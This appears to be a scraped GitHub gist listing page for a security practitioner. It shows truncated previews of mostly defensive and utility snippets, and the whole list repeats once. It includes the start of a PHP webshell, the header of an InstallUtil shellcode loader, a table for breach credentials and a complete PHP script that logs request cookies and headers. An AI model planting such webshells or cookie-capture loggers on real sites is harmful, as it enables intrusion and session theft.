Joshua Wright joswr1ght

## repomix.config.json
{
  "$schema": "https://repomix.com/schemas/latest/schema.json",
  "output": {
    "filePath": "repomix-summary.xml",
    "style": "xml",
    "fileSummary": true,
    "directoryStructure": true,
    "files": false,
    "topFilesLength": 10
  },

## counttokens.py
#!/usr/bin/env python3
# /// script
# dependencies = [
#   "tiktoken",
# ]
# ///
import sys
import tiktoken


## gist:cf8283844e644faee1f53d33a220e842
```
### Create a table to store breach credentials with support for statistical sampling
Mac.localdomain :) CREATE TABLE credentials (
    username String,
    password String
) ENGINE = MergeTree()
ORDER BY (username, cityHash64(username))
SAMPLE BY cityHash64(username);


## easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {

## InstallUtil-ShellCode.cs
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

Minor cleanup and clarity changes by Joshua Wright <josh@wr1ght.net> @joswr1ght
*/
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;

## extract-tlsscan-hostnames.py
#!/usr/bin/env python3
# Mark Baggett @MarkBaggett graciously wrote this script.
# Minor changes by Joshua Wright @joswr1ght.
# Use it to retrieve host name information from the JSON output of tls-scan
# (https://github.com/prbinu/tls-scan) in the subjectCN and subjectAltName
# fields.

import json
import re
import sys

## Copy-RemoteWindowsEventLogs.ps1
# https://chat.openai.com/share/6d96527b-288d-45a9-8eb4-e8b43d52486a
# Input parameters
param (
    [Parameter(Mandatory=$true)]
    [string]$inputFile,

    [Parameter(Mandatory=$true)]
    [System.Management.Automation.PSCredential]$Credential
)

## irplaybook.txt
# Role and Objective/Task

You are an expert-level cybersecurity incident response analyst. Your task is to leverage best practice guidance to assist users in developing incident response playbooks that guide users through complex analysis tasks following an observed Event of Interest (EOI).

# Instructions

Assist the user in developing an incident response playbook for the supplied EOI.

Ask questions when the answer is needed to create a high-quality playbook. These questions could include information about IT infrastructure and systems, existing defense mechanisms, existing organizational policies, and organizational information. If the user provides insufficient detail, ask targeted, technical follow-up questions to clarify the EOI, affected platforms, and org environment before proceeding.

## index.php
<html>
<?php
file_put_contents("cookies.log", json_encode(array(
    "GET"=>$_GET,
    "POST"=>$_POST,
    "headers"=>getallheaders()))."\n",
    FILE_APPEND);
?>
</html>

## summarizelinks.js
// Useful JavaScript to make a simple table of links from an open page using the browser Inspector console.
// https://www.datablist.com/learn/scraping/extract-urls-from-webpage

var x = document.querySelectorAll("a");
var myarray = []
for (var i=0; i<x.length; i++){
var nametext = x[i].textContent;
var cleantext = nametext.replace(/\s+/g, ' ').trim();
var cleanlink = x[i].href;
myarray.push([cleantext,cleanlink]);
	{
	"$schema": "https://repomix.com/schemas/latest/schema.json",
	"output": {
	"filePath": "repomix-summary.xml",
	"style": "xml",
	"fileSummary": true,
	"directoryStructure": true,
	"files": false,
	"topFilesLength": 10
	},
	#!/usr/bin/env python3
	# /// script
	# dependencies = [
	# "tiktoken",
	# ]
	# ///
	import sys
	import tiktoken
	```
	### Create a table to store breach credentials with support for statistical sampling
	Mac.localdomain :) CREATE TABLE credentials (
	username String,
	password String
	) ENGINE = MergeTree()
	ORDER BY (username, cityHash64(username))
	SAMPLE BY cityHash64(username);
	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{
	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

	Minor cleanup and clarity changes by Joshua Wright <josh@wr1ght.net> @joswr1ght
	*/
	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	#!/usr/bin/env python3
	# Mark Baggett @MarkBaggett graciously wrote this script.
	# Minor changes by Joshua Wright @joswr1ght.
	# Use it to retrieve host name information from the JSON output of tls-scan
	# (https://github.com/prbinu/tls-scan) in the subjectCN and subjectAltName
	# fields.

	import json
	import re
	import sys
	# https://chat.openai.com/share/6d96527b-288d-45a9-8eb4-e8b43d52486a
	# Input parameters
	param (
	[Parameter(Mandatory=$true)]
	[string]$inputFile,

	[Parameter(Mandatory=$true)]
	[System.Management.Automation.PSCredential]$Credential
	)
	# Role and Objective/Task

	You are an expert-level cybersecurity incident response analyst. Your task is to leverage best practice guidance to assist users in developing incident response playbooks that guide users through complex analysis tasks following an observed Event of Interest (EOI).

	# Instructions

	Assist the user in developing an incident response playbook for the supplied EOI.

	Ask questions when the answer is needed to create a high-quality playbook. These questions could include information about IT infrastructure and systems, existing defense mechanisms, existing organizational policies, and organizational information. If the user provides insufficient detail, ask targeted, technical follow-up questions to clarify the EOI, affected platforms, and org environment before proceeding.
	<html>
	<?php
	file_put_contents("cookies.log", json_encode(array(
	"GET"=>$_GET,
	"POST"=>$_POST,
	"headers"=>getallheaders()))."\n",
	FILE_APPEND);
	?>
	</html>
	// Useful JavaScript to make a simple table of links from an open page using the browser Inspector console.
	// https://www.datablist.com/learn/scraping/extract-urls-from-webpage

	var x = document.querySelectorAll("a");
	var myarray = []
	for (var i=0; i<x.length; i++){
	var nametext = x[i].textContent;
	var cleantext = nametext.replace(/\s+/g, ' ').trim();
	var cleanlink = x[i].href;
	myarray.push([cleantext,cleanlink]);